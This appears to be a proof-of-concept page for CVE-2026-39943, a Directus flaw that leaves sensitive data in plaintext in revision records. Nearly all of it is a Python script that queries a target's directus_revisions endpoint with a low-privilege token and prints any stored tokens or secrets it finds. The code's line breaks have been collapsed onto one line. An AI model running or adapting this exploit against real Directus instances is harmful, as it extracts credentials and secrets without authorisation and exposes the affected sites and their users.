CVE-2026-39943 Directus敏感信息明文存储漏洞

import requests # Target URL for Directus API target_url = "https://target-directus-instance.com/items/directus_revisions" # Authorization token (Low-privileged user token) headers = { "Authorization": "Bearer LOW_PRIVILEGE_TOKEN" } # Send GET request to fetch revision records response = requests.get(target_url, headers=headers) if response.status_code == 200: data = response.json() # Check for sensitive fields in the response data for item in data['data']: print(f"Revision ID: {item['id']}") # Sensitive data might be nested in 'data' field of the revision if 'data' in item and ('token' in str(item['data']) or 'secret' in str(item['data'])): print(f"[!] Potential sensitive data found: {item['data']}") else: print("Failed to retrieve data")